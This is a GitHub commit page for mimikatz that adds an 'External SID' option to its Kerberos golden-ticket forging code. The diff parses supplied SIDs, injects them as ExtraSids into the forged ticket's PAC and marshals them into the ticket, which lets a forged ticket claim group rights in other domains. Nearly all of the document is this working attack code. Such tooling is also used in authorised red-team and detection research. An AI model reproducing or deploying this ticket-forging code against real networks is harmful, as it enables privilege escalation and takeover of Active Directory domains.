Skip to content

Commit

Permalink
Kerberos tickets with External SID
Browse files Browse the repository at this point in the history
  • Loading branch information
gentilkiwi committed Jun 28, 2015
1 parent 67f7f8c commit 6aa1836
Show file tree
Hide file tree
Showing 3 changed files with 115 additions and 18 deletions.
71 changes: 64 additions & 7 deletions mimikatz/modules/kerberos/kuhl_m_kerberos.c
Original file line number Diff line number Diff line change
Expand Up @@ -314,10 +314,12 @@ GROUP_MEMBERSHIP defaultGroups[] = {{513, DEFAULT_GROUP_ATTRIBUTES}, {512, DEFAU
NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
{
BYTE key[AES_256_KEY_LENGTH] = {0};
DWORD i, j, nbGroups, id = 500, keyType, rodc = 0,/*keyLen,*/ App_KrbCredSize;
PCWCHAR szUser, szDomain, szService = NULL, szTarget = NULL, szSid, szKey = NULL, szId, szGroups, szRodc, szLifetime, base, filename;
PISID pSid;
DWORD i, j, nbGroups, nbSids = 0, id = 500, keyType, rodc = 0,/*keyLen,*/ App_KrbCredSize;
PCWCHAR szUser, szDomain, szService = NULL, szTarget = NULL, szSid, szKey = NULL, szId, szGroups, szSids, szRodc, szLifetime, base, filename;
PWCHAR baseSid, tmpSid;
PISID pSid, pSidTmp;
PGROUP_MEMBERSHIP dynGroups = NULL, groups;
PKERB_SID_AND_ATTRIBUTES sids = NULL;
PDIRTY_ASN1_SEQUENCE_EASY App_KrbCred;
KUHL_M_KERBEROS_LIFETIME_DATA lifeTimeData;
BOOL isPtt = kull_m_string_args_byName(argc, argv, L"ptt", NULL, NULL);
Expand Down Expand Up @@ -386,6 +388,42 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
nbGroups = ARRAYSIZE(defaultGroups);
}

if(kull_m_string_args_byName(argc, argv, L"sids", &szSids, NULL))
{
if(tmpSid = _wcsdup(szSids))
{
for(nbSids = 0, base = tmpSid; base && *base; )
{
if(baseSid = wcschr(base, L','))
*baseSid = L'\0';
if(ConvertStringSidToSid(base, (PSID *) &pSidTmp))
{
nbSids++;
LocalFree(pSidTmp);
}
if(base = baseSid)
base++;
}
free(tmpSid);
}
if(nbSids && (sids = (PKERB_SID_AND_ATTRIBUTES) LocalAlloc(LPTR, nbSids * sizeof(KERB_SID_AND_ATTRIBUTES))))
{
if(tmpSid = _wcsdup(szSids))
{
for(i = 0, base = tmpSid; (base && *base) && (i < nbSids); )
{
if(baseSid = wcschr(base, L','))
*baseSid = L'\0';
if(ConvertStringSidToSid(base, (PSID *) &sids[i].Sid))
sids[i++].Attributes = DEFAULT_GROUP_ATTRIBUTES;
if(base = baseSid)
base++;
}
free(tmpSid);
}
}
}

status = CDLocateCSystem(keyType, &pCSystem);
if(NT_SUCCESS(status))
{
Expand All @@ -408,6 +446,15 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])
kprintf(L"Groups Id : *");
for(i = 0; i < nbGroups; i++)
kprintf(L"%u ", groups[i]);
if(nbSids)
{
kprintf(L"\nExtra SIDs: ");
for(i = 0; i < nbSids; i++)
{
kull_m_string_displaySID(sids[i].Sid);
kprintf(L" ; ");
}
}
kprintf(L"\nServiceKey: ");
kull_m_string_wprintf_hex(key, pCSystem->KeySize, 0); kprintf(L" - %s\n", kuhl_m_kerberos_ticket_etype(keyType));
if(szService)
Expand All @@ -421,7 +468,7 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])

kprintf(L"-> Ticket : %s\n\n", isPtt ? L"** Pass The Ticket **" : filename);

if(App_KrbCred = kuhl_m_kerberos_golden_data(szUser, szDomain, szService, szTarget, &lifeTimeData, pSid, key, pCSystem->KeySize, keyType, id, groups, nbGroups, rodc))
if(App_KrbCred = kuhl_m_kerberos_golden_data(szUser, szDomain, szService, szTarget, &lifeTimeData, pSid, key, pCSystem->KeySize, keyType, id, groups, nbGroups, sids, nbSids, rodc))
{
App_KrbCredSize = kull_m_asn1_getSize(App_KrbCred);
if(isPtt)
Expand Down Expand Up @@ -455,7 +502,12 @@ NTSTATUS kuhl_m_kerberos_golden(int argc, wchar_t * argv[])

if(dynGroups)
LocalFree(groups);

if(sids && nbSids)
{
for(i = 0; i < nbSids; i++)
LocalFree(sids[i].Sid);
LocalFree(sids);
}
return STATUS_SUCCESS;
}

Expand Down Expand Up @@ -491,7 +543,7 @@ NTSTATUS kuhl_m_kerberos_encrypt(ULONG eType, ULONG keyUsage, LPCVOID key, DWORD
return status;
}

PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, LPCWSTR servicename, LPCWSTR targetname, PKUHL_M_KERBEROS_LIFETIME_DATA lifetime, PISID sid, LPCBYTE key, DWORD keySize, DWORD keyType, DWORD userid, PGROUP_MEMBERSHIP groups, DWORD cbGroups, DWORD rodc)
PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, LPCWSTR servicename, LPCWSTR targetname, PKUHL_M_KERBEROS_LIFETIME_DATA lifetime, PISID sid, LPCBYTE key, DWORD keySize, DWORD keyType, DWORD userid, PGROUP_MEMBERSHIP groups, DWORD cbGroups, PKERB_SID_AND_ATTRIBUTES sids, DWORD cbSids, DWORD rodc)
{
NTSTATUS status;
PDIRTY_ASN1_SEQUENCE_EASY App_EncTicketPart, App_KrbCred = NULL;
Expand Down Expand Up @@ -534,7 +586,7 @@ PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR
KIWI_NEVERTIME(&validationInfo.PasswordLastSet);
KIWI_NEVERTIME(&validationInfo.PasswordCanChange);
KIWI_NEVERTIME(&validationInfo.PasswordMustChange);
RtlInitUnicodeString(&validationInfo.LogonDomainName, L"eo.oe.kiwi :)");
RtlInitUnicodeString(&validationInfo.LogonDomainName, L"<3 eo.oe ~ ANSSI E>");

validationInfo.EffectiveName = ticket.ClientName->Names[0];
validationInfo.LogonDomainId = sid;
Expand All @@ -544,6 +596,11 @@ PDIRTY_ASN1_SEQUENCE_EASY kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR

validationInfo.GroupCount = cbGroups;
validationInfo.GroupIds = groups;
validationInfo.SidCount = cbSids;
validationInfo.ExtraSids = sids;

if(cbSids && sids)
validationInfo.UserFlags |= 0x20;

switch(keyType)
{
Expand Down
2 changes: 1 addition & 1 deletion mimikatz/modules/kerberos/kuhl_m_kerberos.h
Original file line number Diff line number Diff line change
Expand Up @@ -45,5 +45,5 @@ NTSTATUS kuhl_m_kerberos_test(int argc, wchar_t * argv[]);

NTSTATUS kuhl_m_kerberos_hash_data(LONG keyType, PCUNICODE_STRING pString, PCUNICODE_STRING pSalt, DWORD count);
wchar_t * kuhl_m_kerberos_generateFileName(const DWORD index, PKERB_TICKET_CACHE_INFO_EX ticket, LPCWSTR ext);
struct _DIRTY_ASN1_SEQUENCE_EASY * kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, LPCWSTR servicename, LPCWSTR targetname, PKUHL_M_KERBEROS_LIFETIME_DATA lifetime, PISID sid, LPCBYTE key, DWORD keySize, DWORD keyType, DWORD userid, PGROUP_MEMBERSHIP groups, DWORD cbGroups, DWORD rodc);
struct _DIRTY_ASN1_SEQUENCE_EASY * kuhl_m_kerberos_golden_data(LPCWSTR username, LPCWSTR domainname, LPCWSTR servicename, LPCWSTR targetname, PKUHL_M_KERBEROS_LIFETIME_DATA lifetime, PISID sid, LPCBYTE key, DWORD keySize, DWORD keyType, DWORD userid, PGROUP_MEMBERSHIP groups, DWORD cbGroups, PKERB_SID_AND_ATTRIBUTES sids, DWORD cbSids, DWORD rodc);
NTSTATUS kuhl_m_kerberos_encrypt(ULONG eType, ULONG keyUsage, LPCVOID key, DWORD keySize, LPCVOID data, DWORD dataSize, LPVOID *output, DWORD *outputSize, BOOL encrypt);
60 changes: 50 additions & 10 deletions mimikatz/modules/kerberos/kuhl_m_kerberos_pac.c
Original file line number Diff line number Diff line change
Expand Up @@ -66,7 +66,7 @@ BOOL kuhl_m_pac_validationInfo_to_PAC(PKERB_VALIDATION_INFO validationInfo, DWOR
(*pacType)->Buffers[3].ulType = PACINFO_TYPE_CHECKSUM_KDC;
(*pacType)->Buffers[3].Offset = (*pacType)->Buffers[2].Offset + szSignatureAligned;
RtlCopyMemory((PBYTE) *pacType + (*pacType)->Buffers[3].Offset, &signature, FIELD_OFFSET(PAC_SIGNATURE_DATA, Signature));

status = TRUE;
}
}
Expand Down Expand Up @@ -180,10 +180,8 @@ BOOL kuhl_m_pac_marshall_sid(PISID pSid, PVOID * current, DWORD * size)
BOOL status = FALSE;
PVOID newbuffer;
DWORD sidSize, actualsize;

sidSize = 1 + 1 + 6 + pSid->SubAuthorityCount * sizeof(DWORD);
sidSize = GetLengthSid(pSid);
actualsize = sizeof(ULONG32) + sidSize;

if(newbuffer = LocalAlloc(LPTR, *size + actualsize))
{
RtlCopyMemory(newbuffer, *current, *size);
Expand All @@ -199,6 +197,39 @@ BOOL kuhl_m_pac_marshall_sid(PISID pSid, PVOID * current, DWORD * size)
return status;
}

BOOL kuhl_m_pac_marshall_extrasids(PKERB_VALIDATION_INFO validationInfo, RPCEID base, PVOID * current, DWORD * size)
{
BOOL status = FALSE;
PVOID newbuffer;
PBYTE ptr;
DWORD i, actualsize = sizeof(DWORD) + validationInfo->SidCount * (sizeof(RPCEID) + sizeof(DWORD));

if(newbuffer = LocalAlloc(LPTR, *size + actualsize))
{
RtlCopyMemory(newbuffer, *current, *size);
ptr = (PBYTE) newbuffer + *size;
*(PDWORD) ptr = validationInfo->SidCount;

for(
i = 0, base += 4, ptr += sizeof(DWORD);
i < validationInfo->SidCount;
i++, base += 4, ptr += sizeof(RPCEID) + sizeof(DWORD)
)
{
*(RPCEID *) ptr = base;
*(PDWORD) (ptr + sizeof(RPCEID)) = validationInfo->ExtraSids[i].Attributes;
}
LocalFree(*current);
*current = newbuffer;
*size += actualsize;

status = TRUE;
for(i = 0; (i < validationInfo->SidCount) && status; i++)
status = kuhl_m_pac_marshall_sid(validationInfo->ExtraSids[i].Sid, current, size);
}
return status;
}

BOOL kuhl_m_pac_validationInfo_to_LOGON_INFO(PKERB_VALIDATION_INFO validationInfo, PRPCE_KERB_VALIDATION_INFO * rpceValidationInfo, DWORD *rpceValidationInfoLength)
{
BOOL status = FALSE;
Expand Down Expand Up @@ -259,8 +290,17 @@ BOOL kuhl_m_pac_validationInfo_to_LOGON_INFO(PKERB_VALIDATION_INFO validationInf

rpce.infos.Reserved3 = validationInfo->Reserved3;

rpce.infos.SidCount = 0; //validationInfo->SidCount;
rpce.infos.ExtraSids = 0; // lazy;
if(validationInfo->SidCount && validationInfo->ExtraSids)
{
rpce.infos.SidCount = validationInfo->SidCount;
rpce.infos.ExtraSids = PACINFO_ID_KERB_EXTRASIDS;
kuhl_m_pac_marshall_extrasids(validationInfo, PACINFO_ID_KERB_EXTRASIDS, &buffer, &szBuffer);
}
else
{
rpce.infos.SidCount = 0;
rpce.infos.ExtraSids = 0;
}
rpce.infos.ResourceGroupDomainSid = 0; //lazy
rpce.infos.ResourceGroupCount = 0; //validationInfo->ResourceGroupCount;
rpce.infos.ResourceGroupIds = 0; // lazy
Expand Down Expand Up @@ -377,7 +417,7 @@ NTSTATUS kuhl_m_kerberos_pac_info(int argc, wchar_t * argv[])
PSID pSid;
PVOID base;

if(kull_m_file_readData(L"C:\\security\\mimikatz\\mimikatz\\out.pac", (PBYTE *) &pacType, &pacLenght))
if(kull_m_file_readData(L"C:\\security\\mimikatz\\mimikatz\\bad.pac", (PBYTE *) &pacType, &pacLenght))
{
kprintf(L"version %u, nbBuffer = %u\n\n", pacType->Version, pacType->cBuffers);

Expand All @@ -389,7 +429,7 @@ NTSTATUS kuhl_m_kerberos_pac_info(int argc, wchar_t * argv[])
pValInfo = (PRPCE_KERB_VALIDATION_INFO) ((PBYTE) pacType + pacType->Buffers[i].Offset);
base = (PBYTE) &pValInfo->infos + sizeof(MARSHALL_KERB_VALIDATION_INFO);
kprintf(L"[%02u] %08x @ offset %016llx (%u)\n", i, pacType->Buffers[i].ulType, pacType->Buffers[i].Offset, pacType->Buffers[i].cbBufferSize);
kull_m_string_wprintf_hex((PBYTE) pacType + pacType->Buffers[i].Offset, pacType->Buffers[i].cbBufferSize, 1);
kull_m_string_wprintf_hex((PBYTE) pacType + pacType->Buffers[i].Offset, pacType->Buffers[i].cbBufferSize, 1 | (16 << 16));
kprintf(L"\n");
kprintf(L"*** Validation Informations *** (%u)\n", pacType->Buffers[i].cbBufferSize);
kprintf(L"TypeHeader : version 0x%02x, endianness 0x%02x, length %hu (%u), filer %08x\n", pValInfo->typeHeader.Version, pValInfo->typeHeader.Endianness, pValInfo->typeHeader.CommonHeaderLength, sizeof(MARSHALL_KERB_VALIDATION_INFO), pValInfo->typeHeader.Filler);
Expand Down Expand Up @@ -443,13 +483,13 @@ NTSTATUS kuhl_m_kerberos_pac_info(int argc, wchar_t * argv[])
kprintf(L"ExtraSids @ %08x\n", pValInfo->infos.ExtraSids);
pExtraSids = (PRPCE_KERB_EXTRA_SID) kuhl_m_kerberos_pac_giveElementById(pValInfo->infos.ExtraSids, base);
for(j = 0; j < pValInfo->infos.SidCount; j++)
{
{kull_m_string_wprintf_hex(pExtraSids, 64, 1);
pSid = (PSID) kuhl_m_kerberos_pac_giveElementById(pExtraSids[j].ExtraSid, base);
kprintf(L"ExtraSid [%u] @ %08x\n * SID : ", j, pExtraSids[j].ExtraSid); kull_m_string_displaySID(pSid); kprintf(L"\n");
}
kprintf(L"\n");
pSid = (PSID) kuhl_m_kerberos_pac_giveElementById(pValInfo->infos.ResourceGroupDomainSid, base);
kprintf(L"ResourceGroupDomainSid @ %08x\n * SID : ", pValInfo->infos.ResourceGroupDomainSid); kull_m_string_displaySID(pSid); kprintf(L"\n");
kprintf(L"ResourceGroupDomainSid @ %08x\n * SID : ", pValInfo->infos.ResourceGroupDomainSid); if(pSid) kull_m_string_displaySID(pSid); kprintf(L"\n");
kprintf(L"ResourceGroupCount %u\n", pValInfo->infos.ResourceGroupCount);
pGroup = (PGROUP_MEMBERSHIP) kuhl_m_kerberos_pac_giveElementById(pValInfo->infos.ResourceGroupIds, base);
kprintf(L"ResourceGroupIds @ %08x\n * RID : ", pValInfo->infos.ResourceGroupIds);
Expand Down

0 comments on commit 6aa1836

Please sign in to comment.